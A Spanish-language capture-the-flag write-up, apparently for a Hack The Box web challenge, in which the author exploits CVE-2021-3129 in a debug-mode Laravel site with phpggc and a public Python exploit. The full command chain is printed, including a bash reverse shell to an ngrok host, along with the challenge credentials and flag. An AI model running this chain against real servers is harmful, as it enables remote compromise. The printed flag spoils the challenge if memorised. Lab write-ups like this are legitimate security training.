Userland City
3 minutos de lectura
Se nos proporciona esta página web:
Enumeración
Muestra un formulario de inicio de sesión. Afortunadamente, se nos proporcionan unas credenciales en la descripción del reto: lxkid02:8rsNN9ohfLp69cVRFEgk4Qzs
. Por tanto, podemos usarlas para acceder:
Se trata de una simple página web de alguna tienda online de mentira para cibercriminales.
La descripción del reto es bastante larga. Lo importante son las credenciales anteriores y que la página utiliza Laravel con el modo de debug activado.
Encontrando un CVE
Existe un exploit público para Laravel cuando está en modo debug: CVE-2021-3129. Existe un exploit en Python que resultará en ejecución remota de comandos (RCE) en el servidor: laravel-exploits.
Lo único que tenemos que hacer es generar un archivo PHAR con el comando que queremos ejecutar. Primero, tenemos que clonar otro repositorio para disponer de phpggc
:
$ git clone https://github.com/ambionics/phpggc
$ git clone https://github.com/ambionics/laravel-exploits
Explotación de Laravel
Como prueba de concepto, vamos a tratar de ejecutar el comando id
:
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar --fast-destruct -o ./exploit.phar monolog/rce1 system id
$ python3 laravel-exploits/laravel-ignition-rce.py http://188.166.172.138:30742 ./exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared
Perfecto, ha funcionado. En este punto, tenemos que encontrar la flag. Pero es mejor ganar una reverse shell en el sistema. Para este propósito, tenemos que exponer nuestro puerto de escucha a Internet con ngrok
:
$ ngrok tcp 4444
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 3.0.3
Region United States (us)
Latency 126.434333ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://2.tcp.ngrok.io:16210 -> localhost:4444
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 373.56 373.56
Ahora generamos el archivo PHAR con el comando de reverse shell y lo enviamos:
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar --fast-destruct -o ./exploit.phar monolog/rce1 system "bash -c 'bash -i >& /dev/tcp/2.tcp.ngrok.io/16210 0>&1'"
$ python3 laravel-exploits/laravel-ignition-rce.py http://188.166.172.138:30742 ./exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
Flag
Y recibimos la conexión, por lo que podemos encontrar la flag fácilmente y capturarla:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:64517.
bash: cannot set terminal process group (57): Inappropriate ioctl for device
bash: no job control in this shell
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/www/public$ cd /
cd /
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/$ export TERM=xterm
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/$ export SHELL=bash
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/$ stty rows 50 columns 158
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/$ ls
bin boot dev entrypoint.sh etc flagdUsTi home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www
www@webuserlandcitymp-532274-8547f966cb-8w7ms:/$ cat /flag*
HTB{c4nt_p0p_th3s3_ch41n5!}